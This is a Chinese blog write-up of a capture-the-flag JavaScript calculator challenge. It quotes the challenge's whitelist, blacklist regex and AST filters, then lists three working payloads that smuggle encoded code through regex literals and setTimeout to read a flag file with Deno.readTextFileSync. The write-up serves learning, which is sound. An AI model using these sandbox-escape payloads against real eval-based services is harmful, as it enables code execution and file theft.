Featured image of post geekgame 2025 小北计算器

geekgame 2025 小北计算器

万物起源

geekgame 小北计算器 战败复盘

题目分析

源码不全贴了,只贴三道防御。

  1. 首先是黑白双煞,白名单禁用了 . [] "" '' {} 等在js语法词汇,黑名单倒不是主要问题,有白名单限制,解开这些词也没法用
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function checkSafetyRegex(code: string) {
  const whitelist = /^[a-zA-Z0-9_+\-*/%() ]+$/
  if (!whitelist.test(code)) {
    throw new Error('Bad Code (whitelist)')
  }
  const blacklist =
    /(eval|Function|__proto__|constructor|prototype|window|document|import|require|process|globalThis|self|global|this|module|exports|fetch|new|confirm|alert|prompt|%[0-9a-f]{2})/i
  if (blacklist.test(code)) {
    throw new Error('Bad Code (blacklist)')
  }
}
  1. 让后是ast检测,列了一大堆黑名单也算是提醒去找漏网之鱼
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function checkSafeAST(code: string) {
  const ast = parser.parse(code, {     // 解析
    sourceType: 'script'
  })
  traverse.default(ast, {
    enter(path) {      // 遍历
      if (path.isStringLiteral()) {
        throw new Error('Bad Code (isStringLiteral)')
      }
     
<!-- 1.  `path.isStringLiteral()`: 禁止代码中出现字符串字面量(如 `'text'`),防止攻击者利用字符串拼接构造恶意载荷。 -->
<!-- 2.  `path.isThisExpression()`: 禁止使用 `this` 关键字,防止攻击者获取并操作当前的执行上下文对象。 -->
<!-- 3.  `path.isMemberExpression()`: 禁止访问对象的成员属性(如 `obj.prop` 或 `obj['prop']`),防止获取对象上的敏感方法或属性。 -->
<!-- 4.  `path.isOptionalMemberExpression()`: 禁止使用可选链操作符(如 `obj?.prop`),这也是一种成员访问方式。 -->
<!-- 5.  `path.isCallExpression()` 内的检查: 禁止调用对象的方法(如 `obj.method()`),只允许调用独立的全局函数。 -->
<!-- 6.  `path.node.leadingComments...` (检测注释): 禁止代码中包含任何形式的注释,防止利用注释隐藏绕过检测的载荷。 -->
<!-- 7.  `path.isObjectExpression()`: 禁止创建对象字面量(如 `{a: 1}`),限制数据结构的构造。 -->
<!-- 8.  `path.isObjectPattern()`: 禁止在变量声明或参数中使用对象解构模式。 -->
<!-- 9.  `path.isArrayExpression()`: 禁止创建数组字面量(如 `[1, 2]`),限制复杂数据的构造。 -->
<!-- 10. `path.isArrayPattern()`: 禁止在变量声明或参数中使用数组解构模式。 -->
<!-- 11. `path.isRestElement()`: 禁止使用剩余参数语法(`...arg`),防止收集参数。 -->
<!-- 12. `path.isSpreadElement()`: 禁止使用扩展运算符(`...arr`),防止展开数组或对象。 -->
<!-- 13. `path.isFunctionDeclaration()`: 禁止使用 `function` 声明定义新函数。 -->
<!-- 14. `path.isFunctionExpression()`: 禁止使用函数表达式定义新函数。 -->
<!-- 15. `path.isArrowFunctionExpression()`: 禁止使用箭头函数定义新函数。 -->
<!-- 16. `path.isClassDeclaration()`: 禁止定义类(class)。 -->
<!-- 17. `path.isClassExpression()`: 禁止使用类表达式。 -->
<!-- 18. `path.isNewExpression()`: 禁止使用 `new` 关键字来实例化对象。 -->
<!-- 19. `path.isIdentifier({ name: 'eval' })`: 明确禁止使用标识符 `eval`,防止动态执行字符串代码。 -->
<!-- 20. `path.isIdentifier({ name: 'Function' })`: 明确禁止使用 `Function` 构造器,防止它像 `eval` 一样执行代码。 -->
<!-- 21. `path.isIdentifier()` 末尾的变量名检查: 禁止使用任何不在全局作用域(globalThis)中的自定义变量,确保只能引用内置的全局变量。段代码通过遍历抽象语法树(AST)来实施严格的沙盒限制,目的是只允许极小功能的子集JavaScript代码运行。以下是每个防御规则的功能解释: -->

      if (path.isIdentifier()) {
        const name = path.node.name
        if (!(name in globalThis)) {
          throw new Error('Bad Code (variable)')
        }
      }
    }
  })
}

上传的payload可以被eval(执行)

WP

1. base64方案:

1
2
3
// btoa("ÿ:a = Deno.readTextFileSync('/flag')//\x7f")
setTimeout(atob(/zphID0gRGVuby5yZWFkVGV4dEZpbGVTeW5jKCcvZmxhZycpLy9/))
a

找到一个叫setTimeout的可以执行代码的函数,用/包装应该被当作字符串的结构,这部分代码会可以绕过AST检查,而在stob()函数中被隐式转换成字符串执行,然后需要想办法干掉前后的/

我之前不知道js的解析原理,所以排除了这个形式,但实际上,这个atob(/zphID0gRGVuby5yZWFkVGV4dEZpbGVTeW5jKCcvZmxhZycpLy9/)会在eval触发时直接解析。

和eval不同,setTimeout的作用域是全局,可以创建全局变量。

2. unescape方案:

1
2
3
4
//  //
Error.prototype.toString=function(){return Deno.readTextFileSync('/flag')}
//
setTimeout(unescape(/%u002F%u002F%u2028%u0045%u0072%u0072%u006F%u0072%u002E%u0070%u0072%u006F%u0074%u006F%u0074%u0079%u0070%u0065%u002E%u0074%u006F%u0053%u0074%u0072%u0069%u006E%u0067%u003D%u0066%u0075%u006E%u0063%u0074%u0069%u006F%u006E%u0028%u0029%u007B%u0072%u0065%u0074%u0075%u0072%u006E%u0020%u0044%u0065%u006E%u006F%u002E%u0072%u0065%u0061%u0064%u0054%u0065%u0078%u0074%u0046%u0069%u006C%u0065%u0053%u0079%u006E%u0063%u0028%u0027%u002F%u0066%u006C%u0061%u0067%u0027%u0029%u007D%u2028%u002F%u002F/))

throwerror

unescape可以将字符串中特殊的十六进制转义序列替换回它们所代表的原始字符 整体思路和上面的一致,只不过这个想干掉/不用东拼西凑了。

3. 邪道方案:

1
2
Error.prototype.toString = function(){return Deno.readTextFileSync('/flag')}
for(var isNaN of String(/%/))if((setTimeout()+2)%3)setTimeout(decodeURIComponent(decodeURIComponent(isNaN+25+isNaN+34+isNaN+35+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+32+isNaN+45+isNaN+25+isNaN+37+isNaN+30+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+37+isNaN+39+isNaN+25+isNaN+37+isNaN+30+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+32+isNaN+45+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+35+isNaN+33+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+39+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+37+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+33+isNaN+44+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+36+isNaN+36+isNaN+25+isNaN+37+isNaN+35+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+33+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+36+isNaN+39+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+32+isNaN+38+isNaN+25+isNaN+32+isNaN+39+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+37+isNaN+42+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+37+isNaN+35+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+34+isNaN+34+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+46+isNaN+25+isNaN+32+isNaN+45+isNaN+25+isNaN+37+isNaN+32+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+36+isNaN+31+isNaN+25+isNaN+36+isNaN+34+isNaN+25+isNaN+35+isNaN+34+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+37+isNaN+38+isNaN+25+isNaN+37+isNaN+34+isNaN+25+isNaN+34+isNaN+36+isNaN+25+isNaN+36+isNaN+39+isNaN+25+isNaN+36+isNaN+43+isNaN+25+isNaN+36+isNaN+35+isNaN+25+isNaN+35+isNaN+33+isNaN+25+isNaN+37+isNaN+39+isNaN+25+isNaN+36+isNaN+45+isNaN+25+isNaN+36+isNaN+33+isNaN+25+isNaN+32+isNaN+38+isNaN+25+isNaN+32+isNaN+37+isNaN+25+isNaN+32+isNaN+46+isNaN+25+isNaN+36+isNaN+36+isNaN+25+isNaN+36+isNaN+43+isNaN+25+isNaN+36+isNaN+31+isNaN+25+isNaN+36+isNaN+37+isNaN+25+isNaN+32+isNaN+37+isNaN+25+isNaN+32+isNaN+39+isNaN+25+isNaN+32+isNaN+30+isNaN+25+isNaN+37+isNaN+44)))

这是top1的写法,还是和很神奇的,这个思路是把干掉/提前到/%/了,然后用forif得到正确的payload。

关于isNaN:

循环变量随便起一个名字比如 a 就会被过滤,但是如果变量名是在 globalThis 里面就不会被过滤,所以随便选了一个 isNaN 作为循环变量。

感觉能写出这种payload代码功力也太强了吧。

闲话:

这道题是最近开始打ctf的第一道,结果因为知识欠缺以及没尝试脑内否决的方案失败了,但学到的东西还是很多了。

慢慢打总会变强的,坚持下去吧。

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计